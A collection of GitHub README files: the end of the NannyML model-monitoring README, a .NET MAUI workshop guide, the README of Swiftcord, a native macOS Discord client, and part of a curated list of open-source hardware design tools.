Have a look at our [roadmap](https://bit.ly/nannymlroadmap). If you have any questions or if you would like to see things prioritised in a different way, let us know! # 📝 Citing NannyML To cite NannyML in academic papers, please use the following BibTeX entry. ### Version 0.10.7 ``` @misc{nannyml, title = {{N}anny{ML} (release 0.10.7)}, howpublished = {\url{https://github.com/NannyML/nannyml}}, month = mar, year = 2023, note = {NannyML, Belgium, OHL.}, key = {NannyML} } ``` # 📄 License NannyML is distributed under an Apache License Version 2.0. A complete version can be found [here](LICENSE). All contributions will be distributed under this license.

nannyml: post-deployment data science in python

machine-learning,ml,mlops,performance-monitoring,data-science,monitoring,python,data-drift,model-monitoring,data-analysis

dotnet-presentations/dotnet-maui-workshop

# .NET MAUI - Workshop Today we will build a [.NET MAUI](https://docs.microsoft.com/dotnet/maui?WT.mc_id=friends-mauiworkshop-jamont) application that will display a list of Monkeys from around the world. We will start by building the business logic backend that pulls down json-encoded data from a RESTful endpoint. We will then leverage [.NET MAUI](https://docs.microsoft.com/xamarin/essentials/index?WT.mc_id=friends-mauiworkshop-jamont) to find the closest monkey to us and also show the monkey on a map. We will also see how to display data in many different ways and then finally fully theme the application. ## Languages This workshop is available in the following languages: * English - default README files * [Chinese (Simplified)](README.zh-cn.md) - README files ending with .zh-cn.md (Translated by [Kinfey Lo](https://github.com/kinfey)) * [Chinese (Traditional)](README.zh-tw.md) - README filed ending with .zh-tw.md (Translated by [James Tsai](https://github.com/JamestsaiTW)) ## Setup Guide Hey there! This workshop will be a hands on and a bring your own device workshop. You can develop on PC or Mac and all you will need to do is install Visual Studio 2022 or Visual Studio for Mac 2022 with the .NET MAUI workload. It is built on .NET 8, which means you will need version 17.9 of Visual Studio 2022 or newer. See [full installation guide for .NET MAUI](https://learn.microsoft.com/dotnet/maui/get-started/installation?view=net-maui-8.0) for more information. Before starting the workshop, I recommend going through the quick 10 minute [.NET MAUI Tutorial](https://docs.microsoft.com/dotnet/maui/get-started/first-app?WT.mc_id=friends-mauiworkshop-jamont) that will guide you through installation and also ensuring everything is configured correct. If you are new to mobile development, we recommend deploying to a physical Android device which can be setup in just a few steps. If you don't have a device, don't worry as you can setup an [Android emulator with hardware acceleration](https://docs.microsoft.com/xamarin/android/get-started/installation/android-emulator?WT.mc_id=friends-mauiworkshop-jamont). If you don't have time to set this up ahead of time, don't worry as we are here to help during the workshop. Beyond that you will be good to go for the workshop! ## Agenda I have also put together an abstract of what you can expect for the day long workshop: * [Part 0](Part%200%20-%20Overview/README.md) - 30 Min Session - Introduction to .NET MAUI Session & Setup Help * [Part 1](Part%201%20-%20Displaying%20Data/README.md) - Single Page List of Data * [Part 2](Part%202%20-%20MVVM/README.md) - MVVM & Data Binding * [Part 3](Part%203%20-%20Navigation/README.md) - Navigation * [Part 4](Part%204%20-%20Platform%20Features/README.md) - Implementing Platform Features * [Part 5](Part%205%20-%20CollectionView/README.md) - CollectionView & Beyond * [Part 6](Part%206%20-%20AppThemes/README.md) - Theming the app To get started open the `Part 1 - Displaying Data` folder and open `MonkeyFinder.sln`. You can use this throughout the workshop. Each **part** has a **README** file with directions for that part. If you came in late, you can open any of the folders and there is a starting project for that section. ## Video Walkthrough James recorded a [full 4-hour walkthrough](https://www.youtube.com/watch?v=DuNLR_NJv8U) end-to-end on [his YouTube](https://youtube.com/jamesmontemagno)! ## More links and resources: - [.NET MAUI Website](https://dot.net/maui) - [.NET MAUI on Microsoft Learn](https://docs.microsoft.com/learn/paths/build-apps-with-dotnet-maui/) - [.NET MAUI Documentation](https://docs.microsoft.com/dotnet/maui) - [.NET MAUI on GitHub](https://github.com/dotnet/maui) - [.NET Beginner Series Videos](https://dot.net/videos) If you have any questions please reach out to me on Twitter [@JamesMontemagno](https://twitter.com/jamesmontemagno).

A full day workshop (.NET MAUI Workshop in a Box) on how to build apps with .NET MAUI for iOS, Android, macOS, and Windows

dotnet-maui,dotnet,dotnetmaui

SwiftcordApp/Swiftcord

<p align=center><image src="https://raw.githubusercontent.com/SwiftcordApp/.github/main/res/swiftcord_new_icon.png" height="256" /></p> <h1 align="center">Swiftcord</h1> <p align="center"> <a aria-label="Join the community on Discord" href="https://discord.gg/he7n6MGDXS" target="_blank"> <img alt="" src="https://img.shields.io/discord/964741354112577557?style=for-the-badge&labelColor=black&label=Join%20Server&logo=Discord"> </a> <!-- Self-hosted tokei_rs instance, only works for repos in the SwiftcordApp org --> <img alt="" src="http://vinkwok.mywire.org/tokei/github/SwiftcordApp/Swiftcord?style=for-the-badge&category=code"> <a aria-label="Download" href="https://github.com/SwiftcordApp/Swiftcord/releases/latest"> <img alt="" src="https://img.shields.io/github/v/release/cryptoAlgorithm/Swiftcord?style=for-the-badge&labelColor=black&color=eb563c&label=Download"> </a> </p> <p align="center">Native Discord client for macOS built in Swift</p> > [!WARNING] > I have fully moved my development time and attention to the next generation of Swiftcord, which means I will not be > frequently monitoring this repository and its issues. Read [this discussion](https://github.com/SwiftcordApp/Swiftcord/discussions/189) to find out more! > > We are very near to release, and I can't wait to let everyone experience the future of Swiftcord! [](https://github.com/SwiftcordApp/.github/blob/main/res/swiftcord-promo.mov?raw=true) ###### This image doesn't animate properly in Safari, unfortunately. Click on it to view the original video. [](https://hosted.weblate.org/projects/swiftcord/swiftcord/) --- Swiftcord is beautiful, follows design principals of the official client while keeping the macOS look and feel that you love, and most importantly, its (really) fast! Powered by [DiscordKit](https://github.com/SwiftcordApp/DiscordKit), a Swift Discord implementation built from the ground up. **If you like this project, please smash the star button and be one of my stargazers 🌟! It motivates me to continue investing time into Swiftcord.** ## Supporters Supporters get feature releases 2 weeks before they are made public! **Be a supporter to support me and this project's future! Perfect if you'd like to contribute but don't have the skills or time required! It's a great way of thanking me for my work. I'll be eternally grateful!** [](https://github.com/sponsors/cryptoAlgorithm) [](https://www.patreon.com/cryptoAlgo) <!--<table> <tr> <td> <img src="" width=100 height=100/> </td> <td> <strong></strong> <br> <a href=""></a> <br><br> <i></i> </td> </tr> </table>--> <!--### Amazing Supporter 🤯--> <!--<table> <tr> <td> <img src="" width=36 height=36/> </td> <td> <code><strong></strong></code> - First amazing supporter! </td> </tr> </table>--> <!--### Extremely Cool Supporter 🧊--> ## Contents * [Motivation](#motivation) * [Releases](#releases) * [FAQ](#faq) * [Roadmap](#roadmap) * [Copyright Notice](#copyright-notice) --- ## Motivation Swiftcord was created to offer a Discord-like UI and experience while having the performance and memory benefits of native apps. The idea started brewing when I was tight on RAM, then noticed Discord using 600+MB of RAM. I then realized that was the perfect opportunity to explore SwiftUI, since it was relatively new to me at that time. Hence, Swiftcord was born! --- ## Releases You'll need **macOS Monterey and above (>= 12.0)** to run Swiftcord. Releases from the channels below are universal bundles, and run natively on both Apple Silicon and Intel. ### Nightly Builds (Latest fixes/features, built from the latest commit on `main`, might be unstable) [](https://nightly.link/SwiftcordApp/Swiftcord/workflows/build.yaml/main/swiftcord-canary.zip) For the latest features and fixes, [a pre-built version of the latest commit is available here](https://nightly.link/SwiftcordApp/Swiftcord/workflows/main/main/Swiftcord_Canary.zip) ### Alpha (More stable, less updated) [](https://github.com/cryptoAlgorithm/Swiftcord/releases/) Alpha releases are available at [GitHub Releases](https://github.com/cryptoAlgorithm/Swiftcord/releases/) ### Homebrew [](https://formulae.brew.sh/cask/swiftcord) Swiftcord is also available on homebrew as a cask: `brew install swiftcord`. Versions are lock stepped with GitHub releases. ### TestFlight Coming soon! <!-- todo: Add building from source --> --- ## FAQ Covers a few common questions I have encountered, click on the question to expand the answer <details> <summary><b>Will I get banned for using Swiftcord/Is using Swiftcord illegal?</b></summary> Nobody really knows what Discord's official stance on unofficial clients is. However, hundreds of people and I have been using Swiftcord for quite a while, and nobody has been banned to date. <i> I do not take any responsibility for account bans due to the use of Swiftcord, whether direct or indirect, although there's a very low possibility of that occurring. I recommend trying Swiftcord with an alt if possible. </i> </details> <details> <summary><b>Feature <i>x</i> is missing! When will <i>y</i> be implemented?</b></summary> Swiftcord currently is in the alpha stage, and hasn't achieved feature parity with the official Discord client yet (it's quite far behind). Many features are planned, but I do not currently have a timeline for them. Development is progressing at a fast pace, but sometimes bugs may take an unexpectedly long time to fix. I appreciate contributions, bug reports, and suggestions :) </details> <details> <summary><b>Swiftcord just crashed!</b></summary> Although I'm aiming for 0 crashes (which is made easier by Swift), sometimes the unexpected happens xD. If you experience a crash, please open an issue with appropriate information like the line the error occurs on, relevant logs, and what you were doing that might have caused the crash. If you can solve the bug causing the crash, that's even better! </details> --- ## Roadmap Take a look at Swiftcord's [GitHub Projects board](https://github.com/orgs/SwiftcordApp/projects/1) to get a rough idea of what's brewing! --- ## Copyright Notice Copyright (c) 2023 Vincent Kwok & Swiftcord Contributors This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. The above copyright notice, this permission notice, and its license shall be included in all copies or substantial portions of the Software. You can find a copy of the GNU General Public License v3 in LICENSE or https://www.gnu.org/licenses/. I ❤️ Open Source

A fully native Discord client for macOS built 100% in Swift!

discord,swift,swiftui,macos,native,native-apps

aolofsson/awesome-opensource-hardware

# awesome-opensource-hardware A curated list of awesome open source hardware tools, generators, and reusable designs. * Categorized * Alphabetical (per category) * Requirements - link should be to source code repository - open source projects only - working projects only (not WIP/rusty) * One tag line sentence per project * R = Recommended # Table of Contents ## PDKs * [Manufacturable PDKs](#manufacturable-pdks) * [Virtual PDKs](#virtual-pdks) ## Compilers * [Build systems](#build-systems) * [Circuit compilers](#circuit-compilers) * [FPGA compilers](#fpga-compilers) * [Layout compilers](#layout-compilers) ## Project * [Documentation](#documentation) ## Design and Verification Tools * [Benchmarks](#benchmarks) * [Board design](#board-design) * [Digital design](#digital-design) * [FPGA design](#fpga-design) * [Formal verification](#formal-verification) * [Linters](#linters) * [Register design](#register-design) * [Schematics](#scehamtics) * [Simulators](#simulators) * [Verification frameworks](#verification-frameworks) * [Physics](#physics) * [Waveform Viewers](#waveform-viewers) ## Designs & Generators * [Accelerators](#accelerators) * [Analog circuits](#analog-circuits) * [Chip packaging](#chip-packages) * [Boards](#board-designs) * [Connectivity](#connectivity) * [CPUs](#cpus) * [FPGA architectures](#fpga-architectures) * [Libraries](#libraries) * [Memory](#memory) * [Systems](#systems) ## Education * [Analog design](#analog-design) * [ASIC design](#asic-design) * [Digital design](#digital-design) * [FPGA design](#fpga-design) # PDKs ## Manufacturable PDKs * [gf180](https://github.com/google/gf180mcu-pdk) * GlobalFoundries 180nm CMOS PDK * [sg13g2](https://github.com/IHP-GmbH/IHP-Open-PDK) * IHP 130nm BiCMOS PDK * [sky130](https://github.com/google/skywater-pdk) * Skywater 130nm CMOS PDK ## Virtual PDKs * [asap7](https://github.com/The-OpenROAD-Project/asap7) * Predictive 7nm PDK * [freepdk45](https://github.com/siliconcompiler/siliconcompiler/tree/main/third_party/pdks/virtual/freepdk45) * Predictive 45nm PDK * [probe3.0](https://github.com/ABKGroup/PROBE3.0) * Process/design DTCO path finding technology # Compilers ## Build Systems * [bazelhdl](https://github.com/hdl/bazel_rules_hdl) * Bazel based hdl build system * [bender](https://github.com/pulp-platform/bender) * Dependency management tool for hardware projects. * [chipyard](https://github.com/ucb-bar/chipyard) * Agile RISC-V SoC Design Framework. * [cocoon](https://github.com/pku-dasys/cocoon) * Infrastructure for integrated EDA * [edalize](https://github.com/olofk/edalize) * Abstraction library for interfacing EDA tools. * [flgen](https://github.com/pezy-computing/flgen) * Generate a filelist for EDA tools * [fusesoc](https://github.com/olofk/fusesoc) * Package manager and build abstraction tool for FPGA/ASIC development. * [hammer](https://github.com/ucb-bar/hammer) * Agile physical design component part of UC Berkeley Chipyard framework. * [hwtbuildsystem](https://github.com/Nic30/hwtBuildsystem) * Library of utils for interaction with the vendor tools. * [legohdl](https://github.com/c-rus/legoHDL) * Command line HDL package manager and development tool. * [mflowgen](https://github.com/mflowgen/mflowgen) * Build-system generator for ASIC and FPGA design-space exploration. * [siliconcompiler](https://github.com/siliconcompiler/siliconcompiler) (R) :star: * Modular distributed build system for hardware ## Circuit Compilers * [abc](https://github.com/berkeley-abc/abc) (R) :star: * System for sequential logic synthesis and formal verification * [act](https://github.com/asyncvlsi/act) * Asynchronous circuit compiler tools * [aihwkit](https://github.com/IBM/aihwkit) * IBM Analog Hardware Acceleration Kit * [amaranth](https://github.com/amaranth-lang/amaranth) * Python based hardware design framework * [bigspicy](https://github.com/google/bigspicy) * Tool for merging circuit descriptions * [bsc](https://github.com/B-Lang-org/bsc) * Compiler, simulator, and tools for the Bluespec Hardware Description Language * [calyx](https://github.com/cucapra/calyx) * Intermediate language and compilers that generate custom hardware accelerators * [chisel](https://github.com/chipsalliance/chisel3) (R) :star: * Scala based hardware description language * [circt](https://github.com/llvm/circt) * Circuit IR Compilers and Tools * [circuitgraph](https://github.com/circuitgraph/circuitgraph) * Tools for working with circuits as graphs in python * [circuitops](https://github.com/NVlabs/CircuitOps) * Infrastructure for dataset generation and model deployment in Generative AI * [clash](https://github.com/clash-lang/clash-compiler) * Haskell to VHDL/Verilog/SystemVerilog compiler * [coreir](https://github.com/rdaly525/coreir) * LLVM-style hardware compiler with first class support for generators * [dfiant](https://github.com/DFiantHDL/DFiant) * Dataflow Hardware Description Language * [fault](https://github.com/AUCOHL/Fault) * Design-for-testing (DFT) Solution * [finn](https://github.com/Xilinx/finn) * Dataflow compiler for QNN inference * [firrtl](https://github.com/chipsalliance/firrtl) * Intermediate Representation for RTL * [gamma](https://github.com/maestro-project/gamma) * Optimizes mapping of DNN models on DNN Accelerators * [gamora](https://github.com/Yu-Utah/Gamora) * Graph Learning based Symbolic Reasoning for Large-Scale Boolean Networks * [ghdl-yosys-plugin](https://github.com/ghdl/ghdl-yosys-plugin) * VHDL synthesis (based on ghdl) * [halide](https://github.com/halide/Halide) * Language for fast, portable data-parallel computation * [halide-to-hardware](https://github.com/StanfordAHA/Halide-to-Hardware) * Hardware generator combining halide and coreir * [hastlayer](https://github.com/Lombiq/Hastlayer-SDK) * VHDL generator from .NET languages (C#, F#, and others) and FPGA framework for .NET hardware acceleration * [hdl21](https://github.com/dan-fritchman/Hdl21) * Hardware Description Library * [hdlconvertor](https://github.com/Nic30/hdlConvertor) * Verilog/VHDL parser preprocessor and code generator for C++/Python based on ANTL4 * [hs-to-coq](https://github.com/plclub/hs-to-coq) * Convert Haskell source code to Coq source code * [ipyxact](https://github.com/olofk/ipyxact) * Python-based IP-XACT parser * [livehd](https://github.com/masc-ucsc/livehd) * Infrastructure for live interactive synthesis and simulation * [llhd](https://github.com/fabianschuiki/llhd) * Intermediate representation for digital circuit descriptions * [lsoracle](https://github.com/lnis-uofu/LSOracle) * Famework built on EPFL logic synthesis libraries. * [lstools](https://github.com/lsils/lstools-showcase) * Showcase examples for EPFL logic synthesis libraries * [kami](https://github.com/mit-plv/kami) * Platform for High-Level Parametric Hardware Specification and Verification * [magma](https://github.com/phanrahan/magma/) * Python based hardware design language * [matchlib](https://github.com/NVlabs/matchlib) * Synthesizable SystemC/C++ library of commonly-used hardware functions * [matchclib_connections](https://github.com/hlslibs/matchlib_connections) * Synthesizable SystemC library implementing latency-insensitive channels * [mockturtle](https://github.com/lsils/mockturtle) * C++ logic network library * [myhdl](https://github.com/myhdl/myhdl) * Python based hardware description and verification language * [naja](https://github.com/xtofalex/naja) * Structural Netlist API for EDA post synthesis flow development * [netlist-paths](https://github.com/jameshanlon/netlist-paths) * A library and command-line tool for querying a Verilog netlist * [panda-bambu](https://github.com/ferrandi/PandA-bambu) * High level synthesis (HLS) C/C++ framework * [pipelinec](https://github.com/JulianKemmerer/PipelineC) * C-like hardware description language (HDL) with automatic pipelining * [pygears](https://github.com/bogdanvuk/pygears) * Python based hardware design framework * [pymtl3](https://github.com/pymtl/pymtl3) * Python hardware generation, simulation, and verification framework * [pyrtl](https://github.com/UCSBarchlab/PyRTL) * Python integrated design and simulation framework * [pysysc](https://github.com/accellera-official/PySysC) * Python package to make SystemC usable from Python * [pyverilog](https://github.com/PyHDI/Pyverilog) * Python design toolkit for Verilog HDL * [rohd](https://github.com/intel/rohd) * Dart based framework for describing and verifying hardware * [scip](https://github.com/scipopt/scip) * Solving Constraint Integer Problems * [silice](https://github.com/sylefeb/Silice) * Language that simplifies prototyping and writing algorithms on FPGA architectures * [skidl](https://github.com/devbisme/skidl) * SKiDL is a module that extends Python with the ability to design electronic circuits * [slang](https://github.com/MikePopoloski/slang) * Library for lexing, parsing, type checking, and elaborating SystemVerilog code * [sodaopt](https://github.com/pnnl/soda-opt) (R) :star: * Optimizer leveraging mlir to extract, optimize, translate HLSinto LLVM IR * [spinalhdl](https://github.com/SpinalHDL/SpinalHDL) * Scala based HDL * [spydrnet](https://github.com/byuccl/spydrnet) * Framework for analyzing and transforming Verilog netlists * [surelog](https://github.com/chipsalliance/Surelog) (R) :star: * SystemVerilog IEEE 2017 Pre-processor, Parser, Elaborator, UHDM Compiler * [sv-parser](https://github.com/dalance/sv-parser) * SystemVerilog IEEE 1800-2017 parser library * [sv2v](https://github.com/zachjs/sv2v) (R) :star: * SystemVerilog to Verilog conversion * [systemc](https://github.com/accellera-official/systemc) (R) :star: * SystemC system design and verification language that spans hardware and software * [systemc-compiler](https://github.com/intel/systemc-compiler) * Translates synthesizable SystemC to synthesizable Verilog * [synlig](https://github.com/chipsalliance/synlig) * SystemVerilog support for Yosys * [tapasco](https://github.com/esa-tu-darmstadt/tapasco) * Heterogeneous system composer * [tce](https://github.com/cpc/tce) * Application-specific instruction-set processor (ASIP) toolset * [uhdm](https://github.com/chipsalliance/UHDM) * Universal object model for IEEE SystemVerilog designs * [verible](https://github.com/chipsalliance/verible) * SystemVerilog developer tools, including a parser, style-linter, and formatter * [veriloggen](https://github.com/PyHDI/veriloggen) * Mixed-Paradigm Hardware Construction Framework * [veryl](https://github.com/veryl-lang/veryl) * Modern Hardware Description Language based on Rust/SV * [verik](https://github.com/frwang96/verik) * Kotlin based hardware description language * [vlsir](https://github.com/Vlsir/Vlsir) * Interchange formats for chip design * [xls](https://github.com/google/xls) * Google framework for hardware synthesis * [yosys](https://github.com/YosysHQ/yosys) (R) :star: * Yosys Open SYnthesis Suite ## FPGA Compilers * [amf-placer](https://github.com/zslwyuan/AMF-Placer) * Timing-driven analytical mixed-size FPGA placer * [dreamplacefpga](https://github.com/rachelselinar/DREAMPlaceFPGA) * Analytical Placer for Large Scale Heterogeneous FPGA * [flowtune](https://github.com/Yu-Utah/FlowTune) * FPGA synehsis and PNR optimizer * [nextpnr](https://github.com/YosysHQ/nextpnr) * FPGA place and route tool * [vtr](https://github.com/verilog-to-routing/vtr-verilog-to-routing) (R) :star: * FPGA place and route tool ## Layout Compilers * [align](https://github.com/ALIGN-analoglayout/ALIGN-public) * Automatic layout generator for analog circuits * [autodmp](https://github.com/NVlabs/AutoDMP) * Automated DREAMPlace-based Macro Placement * [bag](https://github.com/ucb-art/BAG_framework) * Berkeley analog layout generator * [coriolis](https://gitlab.lip6.fr/vlsi-eda/coriolis.git) * RTL2GDS toolchain for mature nodes * [dreamplace](https://github.com/limbo018/DREAMPlace) * Deep learning toolkit-enabled VLSI placement * [gdsfactory](https://github.com/gdsfactory/gdsfactory) * Platform for chip design and layout * [gds3d](https://github.com/trilomix/GDS3D) * Render GDS files in 3D * [gdsiistl](https://github.com/dteal/gdsiistl) * Converts GDSII files to STL files * [gdstk](https://github.com/heitzmann/gdstk) * C++/Python library for creation and manipulation of GDSII and OASIS files. * [gdspy](https://github.com/heitzmann/gdspy) * Python module for creating GDSII stream files, usually CAD layouts. * [ieda](https://github.com/OSCC-Project/iEDA) * RTL2GDS infrastructure * [klayout](https://github.com/KLayout/klayout) (R) :star: * Layout viewer * [kweb](https://github.com/gdsfactory/kweb) * Klayout Web Viewer * [lclayout](https://codeberg.org/librecell/lclayout) * Layout generator for CMOS standard-cells * [layout21](https://github.com/dan-fritchman/Layout21) * Integrated Circuit Layout * [magic](https://github.com/RTimothyEdwards/magic) * Magic VLSI layout tool * [magical](https://github.com/magical-eda/MAGICAL) * Machine Generated Analog IC Layout * [openroad](https://github.com/The-OpenROAD-Project/OpenROAD) (R) :star: * Complete RTL2GDS platform * [phidl](https://github.com/amccaugh/phidl) * Python GDS layout and CAD geometry creation # Design and Verification Tools ## Benchmarks * [big-doe-openroad](https://github.com/msaligane/Big-DoE-OpenROAD) * Framework for launching massive RTL2GDS experiements * [bringup-bench](https://github.com/toddmaustin/bringup-bench) * Collection of minimal programs useful for system bringup * [bsg_pipeclean_suite](https://github.com/bespoke-silicon-group/bsg_pipeclean_suite) * Collection of designs used to stress test new CAD flows * [corescore](https://github.com/olofk/corescore) * Benchmark for FPGAs and their synthesis/P&R tools * [epfl-benchmarks](https://github.com/lsils/benchmarks) * Combinational Benchmark Suite for logic synthesis * [fpga-tool-perf](https://github.com/chipsalliance/fpga-tool-perf) * FPGA tool performance profiling * [opdb](https://github.com/PrincetonUniversity/OPDB) * Princeton design benchmark generators * [rdf-2020](https://github.com/ieee-ceda-datc/RDF-2020) * IEEE CEDA eda benchmark flow * [sv-tests](https://github.com/chipsalliance/sv-tests) * SystemVerilog compliance test suite * [verilog-eval](https://github.com/NVlabs/verilog-eval) * Verilog evaluation benchmark for large language model ## Board Design * [boardview](https://github.com/whitequark/kicad-boardview) * Reads KiCAD PCB layout files and writes ASCII Boardview files * [cuflow](https://github.com/jamesbowman/cuflow) * Experimental procedural PCB layout program * [datasheet-scrubber](https://github.com/idea-fasoc/datasheet-scrubber) * Utility that scrubs PDF datasheets/documents in order to extract key circuit information * [freecad](https://github.com/FreeCAD/FreeCAD) (R) :star: * 3D parametric CAD for building models of components for KiCad 3D preview (also enclosures) * [freerouting](https://github.com/freerouting/freerouting) * PCB auto-router * [kicad](https://github.com/KiCad/kicad-source-mirror) (R) :star: * Board design framework * [kicanvas](https://github.com/theacodes/kicanvas) * KiCAD web viewer * [librepcb](https://github.com/LibrePCB/LibrePCB) * Board design framework * [pcbflow](https://github.com/michaelgale/pcbflow) * Python based Printed Circuit Board (PCB) layout and design package based on CuFlow ## Digital Design * [digital](https://github.com/hneemann/Digital) * Digital logic designer and circuit simulator * [DigSim](https://github.com/freand76/digsim) * An interactive digital logic simulator with verilog support (Yosys) * [verilog-mode](https://www.veripool.org/verilog-mode/) * Popular free Verilog mode for Emacs * [vsrtl](https://github.com/mortbopet/VSRTL/) * Visual Simulation of Register Transfer Logic * [vscode-systemverilog](https://github.com/eirikpre/VSCode-SystemVerilog) * SystemVerilog support in VS Code * [vscode-teroshdl](https://github.com/TerosTechnology/vscode-terosHDL) * Full IDE for RTL development in VS Code ## Documentation * [elk](https://github.com/eclipse/elk) * Eclipse Layout Kernel - Automatic layout for Java applications. * [graphviz](https://github.com/xflr6/graphviz) * Python library for graph cration and rendering in DOT language * [gds3d](https://github.com/trilomix/GDS3D) * Reads GDSII layout and renders in 3D * [hdelk](https://github.com/davidthings/hdelk) * Web-based HDL diagramming tool * [kythe](https://github.com/chipsalliance/verible/blob/master/verilog/tools/kythe) * Verible based SystemVerilog source file indexer * [memory-layout-diagram](https://github.com/gerph/memory-layout-diagram) * Diagrams for memory map layouts * [netlistsvg](https://github.com/nturley/netlistsvg) * Draws an SVG schematic from a JSON netlist * [netlist-viewer](https://github.com/f18m/netlist-viewer) * SPICE netlist visualizer * [nn-svg](https://github.com/alexlenail/NN-SVG) * Publication-ready NN-architecture schematics * [pcbdraw](https://github.com/yaqwsx/PcbDraw) * Convert KiCAD board into 2D drawing suitable for pinout diagrams * [pinion](https://github.com/yaqwsx/Pinion) * Generate interactive Diagrams for your PCBs * [pinout](https://github.com/j0ono0/pinout) * Python package that generates hardware pinout diagrams as SVG images * [sphinx](https://github.com/sphinx-doc/sphinx) * Document builder * [sphinx-verilog-domain](https://github.com/SymbiFlow/sphinx-verilog-domain) * Sphinx domain to allow integration of Verilog / SystemVerilog documentation into Sphinx. * [sphinxcontrib-hdl-diagrams](https://github.com/SymbiFlow/sphinxcontrib-hdl-diagrams) * Sphinx plugin to automatically generate diagrams from RTL. * [symbolator](https://github.com/kevinpt/symbolator) * HDL symbol generator * [undulate](https://github.com/LudwigCRON/undulate) * Python compatible wavedrom module with extensions and console rendering support * [wavedrom](https://github.com/wavedrom/wavedrom) (R) :star: * Digital timing diagram rendering engine * [wavedrompy](https://github.com/wallento/wavedrompy) * Python comptabled Wavedrom module ## FPGA Design * [byteman](https://github.com/FPGA-Research-Manchester/byteman) * Bitstream relocation and manipulation tool * [icestudio](https://github.com/FPGAwars/icestudio) * Visual editor for open FPGA boards * [f4fpga](https://github.com/chipsalliance/f4pga) * FPGA toolchain * [foedag](https://github.com/os-fpga/FOEDAG) * Framework Open EDA Gui * [logik](https://github.com/zeroasiccorp/logik) * FPGA toolchain * [openfpgaloader](https://github.com/trabucayre/openFPGALoader) (R) :star: * Universal utility for programming FPGA * [rphax](https://github.com/shariethernet/RPHAX) * Automation flow to develop and prototype hardware accelerators on Xilinx FPGAs ## Formal Verification * [boolector](https://github.com/boolector/boolector) * SMT solver for the theories of fixed-size bit-vectors, arrays and uninterpreted functions * [cvc5](https://github.com/cvc5/cvc5) * SMT automatic theorem prover * [ilang](https://github.com/PrincetonUniversity/ILAng) * Princeton modeling and Verification Platform for SoCs using ILAs * [autosva](https://github.com/PrincetonUniversity/AutoSVA) * Generates FV testbenches and SVA properties for RTL modules based on interface annotations + GPT4 * [autocc](https://github.com/morenes/AutoCC) * A frontend for JG/SBY to automatically discover covert channels in time-shared hardware * [pono](https://github.com/upscale-project/pono) * Extensible SMT-based model checker implemented in C++. * [sby](https://github.com/YosysHQ/sby) * Front-end for Yosys-based formal verification flows. * [z3](https://github.com/Z3Prover/z3) * Microsoft research theorem prover ## Linters * [svlint](https://github.com/dalance/svlint) * SystemVerilog linter * [svlint-action](https://github.com/dalance/svlint-action) * GitHub action for svlint * [verible](https://github.com/chipsalliance/verible) * SystemVerilog developer tools, including a parser, style-linter, and formatter * [verilator](https://github.com/verilator/verilator) (R) :star: * SystemVerilog simulator and lint system ## Register Design * [gen_registers](https://github.com/lsteveol/gen_registers) * Python based tool for generating hardware registers and their associated files * [rggen](https://github.com/rggen/rggen) * Configuration and status register generator * [open-register-design-tool](https://github.com/Juniper/open-register-design-tool) * Generate register RTL, models, and docs using SystemRDL or JSpec input * [peakrdl](https://github.com/SystemRDL/PeakRDL) * SystemRDL based control & status register (CSR) toolchain * [systemrdl](https://github.com/SystemRDL/systemrdl-compiler) * Generic compiler front-end for Accellera's SystemRDL 2.0 register description language ## Schematics * [d3-hwschematics](https://github.com/Nic30/d3-hwschematic) * Schematic visualizer * [kaktus2dev](https://github.com/kactus2/kactus2dev) * Graphical EDA tool based on the IP-XACT standard * [openplc_editor](https://github.com/thiagoralves/OpenPLC_Editor) * IDE capable of creating programs for the OpenPLC Runtime * [oregano](https://github.com/drahnr/oregano) * Schematic capture and circuit simulator * [qucs_s](https://github.com/ra3xdh/qucs_s) * Integrated circuit simulator with Graphical User Interface * [hdl21schematics](https://github.com/Vlsir/Hdl21Schematics) * Hdl21 Schematics * [xschem](https://github.com/StefanSchippers/xschem) * Schematic editor for VLSI/Asic/Analog custom designs ## Electronics Simulators * [champsim](https://github.com/ChampSim/ChampSim) * Trace-based simulator for a microarchitecture study * [dromajo](https://github.com/chipsalliance/dromajo) * RISC-V RV64GC functional emulator * [eesim](https://github.com/danchitnis/EEsim) * Browser-based SPICE circuit simulator * [essent](https://github.com/ucsc-vama/essent) * High-performance FIRRTL (Chisel) simulator * [firesim](https://github.com/firesim/firesim) * FPGA-accelerated Cycle-accurate Hardware Simulation in the Cloud * [gem5](https://github.com/gem5/gem5) * Modular simulator platform for computer-system architecture research * [muchisim](https://github.com/PrincetonUniversity/muchisim) * Cycle-level simulator for PPA and cost analysis of distributed multi-chiplet tile-based manycore designs. * [ghdl](https://github.com/ghdl/ghdl) (R) :star: * VHDL 2008/93/87 simulator * [icarus](https://github.com/steveicarus/iverilog.git) (R) :star: * Verilog IEEE-1364 simulator * [irsim](https://github.com/RTimothyEdwards/irsim) * Switch-level simulator for digital circuits * [libsystemctlm-soc](https://github.com/Xilinx/libsystemctlm-soc) (R) :star: * SystemC/TLM-2.0 Co-simulation framework * [logisim-evolution](https://github.com/logisim-evolution/logisim-evolution) * Digital logic design tool and simulator * [lwtr4sc](https://github.com/Minres/LWTR4SC) * Transaction recording for SystemC * [ngspice](http://ngspice.sourceforge.net/) (R) :star: * Spice simulator * [noxim](https://github.com/davidepatti/noxim) * Network on Chip Simulator * [nvc](https://github.com/nickg/nvc) * VHDL compiler and simulator * [pysysc](https://github.com/accellera-official/PySysC) * Python package to make SystemC usable from Python * [qemu](https://github.com/qemu/qemu) (R) :star: * Generic and open source machine & userspace emulator and virtualizer * [ramulator2](https://github.com/CMU-SAFARI/ramulator2) * Cycle accurate DRAM simulator * [renode](https://github.com/renode/renode) * Generic and open source machine emulator * [sax](https://github.com/flaport/sax) * S-parameter based frequency domain circuit simulation * [simulide](https://github.com/SimulIDE/SimulIDE) * SimulIDE is a simple real-time electronic circuit simulator * [systemc-components](https://github.com/Minres/SystemC-Components) * SystemC simulation productivity library * [tiny-five](https://github.com/OpenMachine-ai/tinyfive) * Lightweight RISC-V emulator and assembler written entirely in Python with examples for AI/ML * [xictools](https://github.com/wrcad/xictools) * Circuit simulation package * [xyce](https://github.com/Xyce/Xyce) (R) :star: * Parallel spice simulator from Sandia national labs * [verilator](https://github.com/verilator/verilator) (R) :star: * SystemVerilog simulator and lint system ## Verification Frameworks * [adc-eval](https://github.com/esynr3z/adc-eval) * Python tools 